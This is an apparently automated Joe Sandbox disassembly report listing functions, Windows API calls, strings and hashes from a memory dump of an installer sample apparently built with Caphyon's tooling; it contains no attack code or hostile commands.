InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 000971CC
EnterCriticalSection.KERNEL32(00000000,0CE81EE3,00000000), ref: 000971D9
OutputDebugStringW.KERNEL32(00000000,?), ref: 0009722E
LeaveCriticalSection.KERNEL32(?,?), ref: 000972A2

Strings

Logger::SetLogFile( %s ) while OLD path is:%s, xrefs: 0009720F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalSection$DebugEnterInitializeLeaveOutputString
String ID: Logger::SetLogFile( %s ) while OLD path is:%s
API String ID: 174071661-1927537607
Opcode ID: c639eaf7995272ad1f43b0ad596d073ab9dc2f9c4e62d405e3d284bb6196ccb1
Instruction ID: 0cdc60d48bf840e1cffe9d5710a8898720464b274f4d8ae2e308482e4f67d78d
Opcode Fuzzy Hash: c639eaf7995272ad1f43b0ad596d073ab9dc2f9c4e62d405e3d284bb6196ccb1
Instruction Fuzzy Hash: C9410132804649DFCF11DF68C904BAEBBF4EF41320F148299F818A72A2D7319905CB90

Function 000CAA90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0007AC90: _wcschr.LIBVCRUNTIME ref: 0007ACF1
Part of subcall function 0007AC90: _wcschr.LIBVCRUNTIME ref: 0007AD77

SystemTimeToFileTime.KERNEL32(?,?,-00000001,00000000), ref: 000CAB03
SystemTimeToFileTime.KERNEL32(00000000,?), ref: 000CAB27
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000CAB3E

Strings

Caphyon, xrefs: 000CAAD5, 000CAB4B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Time$FileSystem_wcschr$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: Caphyon
API String ID: 318800021-1059601326
Opcode ID: c8da4f2277b77ce1274ef8e77aed6113cd643b44dadae8826e93bf47dcf8b17d
Instruction ID: 2d39fe4044818755e2cfd0c5255f58e379349f99656c73b96bc55e6e36e59f6a
Opcode Fuzzy Hash: c8da4f2277b77ce1274ef8e77aed6113cd643b44dadae8826e93bf47dcf8b17d
Instruction Fuzzy Hash: BE31B0313007085BD714DF24DC82FAFB3E9EF99318F04092DF94597292EB61AC448B96

Function 000EB6E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,000EB7A3,?,?,0014A990,00000000,?,000EB8CE,00000004,InitializeCriticalSectionEx,0011E7E0,InitializeCriticalSectionEx,00000000), ref: 000EB772

Strings

api-ms-, xrefs: 000EB732

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 12da7866b5729d0bf35d4f8d7b2fc8092be84329e32a5a9a2e780d53a7f3b785
Instruction ID: b58d100d0c0b7ca49b28fa40323ae91017a8fbbf6a71483ebd9058835d21246f
Opcode Fuzzy Hash: 12da7866b5729d0bf35d4f8d7b2fc8092be84329e32a5a9a2e780d53a7f3b785
Instruction Fuzzy Hash: EA11E035A85660EFDB328B6ADC41B9B33E49F82770F254221E990F7A90E770ED4086D1

Function 000F28E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,000F28D5,?,?,000F289D,?,?,?), ref: 000F28F5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000F2908
FreeLibrary.KERNEL32(00000000,?,?,000F28D5,?,?,000F289D,?,?,?), ref: 000F292B

Strings

CorExitProcess, xrefs: 000F2900
mscoree.dll, xrefs: 000F28EE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 391f466d6ae5a0d192ebdd41ec9cccaf1e8b4640ae470ab52179fef7610440da
Instruction ID: 96b07bbd79a62ecf5773e959eecbfdc59b83cd772a73d74c31464b37116eb4dd
Opcode Fuzzy Hash: 391f466d6ae5a0d192ebdd41ec9cccaf1e8b4640ae470ab52179fef7610440da
Instruction Fuzzy Hash: 47F0A730A44218FBDB169B90DD09BDD7FB9EB04755F008050F901E24A1CB708E50EBD0

Function 000C2BF0 Relevance: 7.9, APIs: 5, Instructions: 359windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetEnvironmentVariableW.KERNEL32(00000000,00000000,00000104,?,00149B10,00149B10,00000000,00149B10), ref: 000C2DDA
GetEnvironmentVariableW.KERNEL32(00000000,00000000,00000104), ref: 000C2E22
GetDlgItem.USER32(00000000,00000002), ref: 000C2FBD
PostMessageW.USER32(00000000,00000111,00000002,00000000), ref: 000C2FCE
EndDialog.USER32(00000000,00000002), ref: 000C2FFE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: EnvironmentVariable$DialogHeapItemMessagePostProcess
String ID:
API String ID: 2769693469-0
Opcode ID: 371c8ff09566369d2efa9db1c75e5b338ddac5cbd8773abc741c6b5903062482
Instruction ID: 7f51a6903aa9aef3ee2c6261dc24e2814db9fa75e09e87f4f14db611e086f833
Opcode Fuzzy Hash: 371c8ff09566369d2efa9db1c75e5b338ddac5cbd8773abc741c6b5903062482
Instruction Fuzzy Hash: 88D1BD31A002059FDB14DF68C845FAEB7F1EF85310F14856DE91AAB792CB35AE45CBA0

Function 000AF690 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 000AF70A
GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 000AF761
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 000AF830
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 000AF882
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 000AF9B5

Part of subcall function 000781F0: VirtualAlloc.KERNEL32(3DA07D5F,0004E86C,-00000001550F2D66,?,?,?,?,-00000001E2B0F6BD,?,?,0014B258,000714D5,00000010), ref: 0007825F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: PrivateProfile$String$NamesSection$AllocHeapProcessVirtualWrite
String ID:
API String ID: 1689160022-0
Opcode ID: ef39a652d7f6b96c0f738b43661d4f154144584c84d59445551cc9f74a23feb8
Instruction ID: 5114a5f9543d03855d71d5f0c79a3ad36cbf883d2215fa76a15bc5682f129f9d
Opcode Fuzzy Hash: ef39a652d7f6b96c0f738b43661d4f154144584c84d59445551cc9f74a23feb8
Instruction Fuzzy Hash: A0A1A071900206EFDB14DFA8CC49BAEBBF4FF49310F108569E515AB3A2DB759A04CB91

Function 000B7150 Relevance: 7.7, APIs: 5, Instructions: 232windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000B7176
IsWindowVisible.USER32(?), ref: 000B71C1
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 000B71D7
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 000B73D5
RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 000B73E6

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$MessageSend$LongRedrawVisible
String ID:
API String ID: 554559110-0
Opcode ID: ad57cbf2d6e1c0c1b24e1ebbbcbe62617e8dbc478cc158810b5412819784aa1e
Instruction ID: f5762263e48d606283629654f0f183c86c18e3ffd865fc758776300382407179
Opcode Fuzzy Hash: ad57cbf2d6e1c0c1b24e1ebbbcbe62617e8dbc478cc158810b5412819784aa1e
Instruction Fuzzy Hash: 81811771A083519FD764CF1CC880A9ABBE5EFC8750F118A1EF899D72A0D771E9458B82

Function 000A0070 Relevance: 7.7, APIs: 5, Instructions: 230windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(-00000014,000000F0), ref: 000A0096
IsWindowVisible.USER32(-00000014), ref: 000A00E1
SendMessageW.USER32(-00000014,0000000B,00000000,00000000), ref: 000A00F7
SendMessageW.USER32(-00000014,0000000B,00000001,00000000), ref: 000A02F5
RedrawWindow.USER32(-00000014,00000000,00000000,00000185), ref: 000A0306

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$MessageSend$LongRedrawVisible
String ID:
API String ID: 554559110-0
Opcode ID: f119732d240c79da97fecc7a369e89da4241c871b5fad921dc806f3a3e3ab30c
Instruction ID: bbe580a7577f145cae70f2dcc57f6da0b2f3e606209300b9fda44845a51a0318
Opcode Fuzzy Hash: f119732d240c79da97fecc7a369e89da4241c871b5fad921dc806f3a3e3ab30c
Instruction Fuzzy Hash: C1814971A08315AFC724CF58C884B5AFBE5BF89750F108A1EF499D7290D771E841CB82

Function 000E1610 Relevance: 7.7, APIs: 5, Instructions: 211windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000E162E
IsWindowVisible.USER32(?), ref: 000E1675
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 000E168B
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 000E1869
RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 000E187A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$MessageSend$LongRedrawVisible
String ID:
API String ID: 554559110-0
Opcode ID: f82be1d624f584a4692a9e93ce2b42cc04e9b263f031ce43f9068439f5a6ecf6
Instruction ID: 70b8c99dca96b232e07403ac5a33af461f26d6a607b174bbd63b5bd50066bd95
Opcode Fuzzy Hash: f82be1d624f584a4692a9e93ce2b42cc04e9b263f031ce43f9068439f5a6ecf6
Instruction Fuzzy Hash: AF717B306083458FC314DF59C984B9AF7E1FF88B04F544A2DF995A7291EBB1E945CB42

Function 000F674B Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000F67CF
__alloca_probe_16.LIBCMT ref: 000F6895
__freea.LIBCMT ref: 000F6901

Part of subcall function 000F5544: HeapAlloc.KERNEL32(00000000,?,00000004,?,000F6A04,?,00000000,?,000EEC7A,?,00000004,00000004,?,00000000,?,000F3033), ref: 000F5576

__freea.LIBCMT ref: 000F690A
__freea.LIBCMT ref: 000F692D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: f8ccbeeed11040362c4f1d2cd70c3a5f71c0b610d500f8bee65bd8f55b3c8c82
Instruction ID: e8348bca0610f7a80e48b31c1b4365a056e6e3d850646de4fa3c83476410007b
Opcode Fuzzy Hash: f8ccbeeed11040362c4f1d2cd70c3a5f71c0b610d500f8bee65bd8f55b3c8c82
Instruction Fuzzy Hash: 7E51B27250420EABEB219F64CC41EFB3AEDEB84754F250128FE04AB551EB72DC51A6A0

Function 000F419E Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F5544: HeapAlloc.KERNEL32(00000000,?,00000004,?,000F6A04,?,00000000,?,000EEC7A,?,00000004,00000004,?,00000000,?,000F3033), ref: 000F5576

_free.LIBCMT ref: 000F42AD
_free.LIBCMT ref: 000F42C4
_free.LIBCMT ref: 000F42E1
_free.LIBCMT ref: 000F42FC
_free.LIBCMT ref: 000F4313

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: 761495bea449d5fa7bd59b9d977a1c83238b4a8fed93c9f82199c2c6ecd0e10f
Instruction ID: a197d29e0dfe873b89944a65cd4fb1828b0ff4b7b98eeeb1f0f0d99a47c7f898
Opcode Fuzzy Hash: 761495bea449d5fa7bd59b9d977a1c83238b4a8fed93c9f82199c2c6ecd0e10f
Instruction Fuzzy Hash: 7451D432A00708AFDB61DF69DC41ABB77F5FF48720B540669EA09D7A91E731DA01DB80

Function 000E02F0 Relevance: 7.7, APIs: 5, Instructions: 182windowstringCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,00000000), ref: 000E0359
ModifyMenuW.USER32(?,00009C48,00000000,00009C48,?), ref: 000E03D8
lstrlenW.KERNEL32 ref: 000E04A8
lstrcpynW.KERNEL32(?,0CE81EE3,00000000), ref: 000E04CA
Shell_NotifyIconW.SHELL32(00000001,?), ref: 000E04D9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Menu$EnableIconItemModifyNotifyShell_lstrcpynlstrlen
String ID:
API String ID: 2193901437-0
Opcode ID: abd3b2052254d8315001adedda2f21ed32713568c1709ad8d6a19864fc968d5c
Instruction ID: 0739dabc18d7634757c018bb079fdc55ec6dccb615282c4e1d1722035a4b96bb
Opcode Fuzzy Hash: abd3b2052254d8315001adedda2f21ed32713568c1709ad8d6a19864fc968d5c
Instruction Fuzzy Hash: CB61B07190164AEFD704CF68CD84B9AFBB8FF45720F108269F925AB2D1D7709A40CB90

Function 000B4820 Relevance: 7.7, APIs: 5, Instructions: 164windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000B487E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B48C0
SendMessageW.USER32(?,0000104B,00000000,?), ref: 000B4926
SendMessageW.USER32(?,0000102B,00000001,?), ref: 000B4AA0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B4AB6

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 957311d9caf881857a99c003ae5ed4b94aac8c2a84ea4bd071571269a426344f
Instruction ID: c2f46e6c0db563d16fa5126290f04d387816c95f9989b467ce5e2e2b47776c4f
Opcode Fuzzy Hash: 957311d9caf881857a99c003ae5ed4b94aac8c2a84ea4bd071571269a426344f
Instruction Fuzzy Hash: B961A0319497868BE7308F10CD40BEBB7E1BFDA308F10AB1EE58856445EBB195808F83

Function 0007D060 Relevance: 7.7, APIs: 5, Instructions: 163fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,0CE81EE3,?,-00000001,?,?,?,?,?,?), ref: 0007D0B3
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,00107405,000000FF), ref: 0007D0E1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00107405,000000FF), ref: 0007D135
ReadFile.KERNEL32(00000000,?,00010000,?,00000000,00010000,?,?,?,?,?,00107405,000000FF), ref: 0007D19E
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00107405,000000FF), ref: 0007D214

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$CloseHandle$CreateReadSize
String ID:
API String ID: 3664964396-0
Opcode ID: d108ba48bf32f0e02992c975818c3572cdf1b40096acb3108b09c5607b7257b6
Instruction ID: d60de33fd3e3927f15c67327051bc2e896b42fff15aca2975e89dbf368d9440b
Opcode Fuzzy Hash: d108ba48bf32f0e02992c975818c3572cdf1b40096acb3108b09c5607b7257b6
Instruction Fuzzy Hash: 0451BE71D00288EEDB21CF68CD44BEEBBB4EF49704F10815AE95DAB281D7785A05CBA4

Function 000C1830 Relevance: 7.6, APIs: 5, Instructions: 136fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000004,-0000000C,-0000000C,00000000,0CE81EE3,?,0CE81EE3,-0000000C,?,000000E0), ref: 000C1893
GetLastError.KERNEL32(?,0CE81EE3,-0000000C,?,000000E0), ref: 000C18A0
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?,0CE81EE3,-0000000C,?,000000E0), ref: 000C18CD
GetLastError.KERNEL32(?,0CE81EE3,-0000000C,?,000000E0), ref: 000C18DA
CreateEventW.KERNEL32(00000000,00000000,00000000,0CE81EE3,0CE81EE3,00000000,?,00000000,?,0CE81EE3,-0000000C,?,000000E0), ref: 000C1961

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateErrorFileLast$EventMappingView
String ID:
API String ID: 267765441-0
Opcode ID: 574fde003d3a5de078d16889a0e4af9a77c9d236594388caabe884c8aea0981f
Instruction ID: 84b1131ca33275636fa31b07a0979ee0db9e9ff1c9ee82f28ed041dcda1a8baf
Opcode Fuzzy Hash: 574fde003d3a5de078d16889a0e4af9a77c9d236594388caabe884c8aea0981f
Instruction Fuzzy Hash: 65517C70600B059BD720DFA9CC44F9AB7B8EF49330F248329E529976E1DB34A9018BA0

Function 00094170 Relevance: 7.6, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000941A3
std::_Lockit::_Lockit.LIBCPMT ref: 000941C5
std::_Lockit::~_Lockit.LIBCPMT ref: 000941ED
std::_Facet_Register.LIBCPMT ref: 00094307
std::_Lockit::~_Lockit.LIBCPMT ref: 00094331

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: a34a307cceae663ee7476fd9b383e18dd7ea95bbaea9ac5104649436c851a04a
Instruction ID: 8befd9e2b42ab7134752a1bc1ba874cf3c391deb0def204973904bf501a0f8e4
Opcode Fuzzy Hash: a34a307cceae663ee7476fd9b383e18dd7ea95bbaea9ac5104649436c851a04a
Instruction Fuzzy Hash: C251EE70904245CFDB10CF68D540BAEBBF4FF15310F21825DE895AB292E7B1AA81CB81

Function 00078F00 Relevance: 7.6, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(0000000C,?,?,?), ref: 00078F19
LocalFree.KERNEL32(00128AD8,?,?,?), ref: 00078F29
GetLastError.KERNEL32 ref: 00078F67

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FreeLocal$ErrorLast
String ID:
API String ID: 4216857709-0
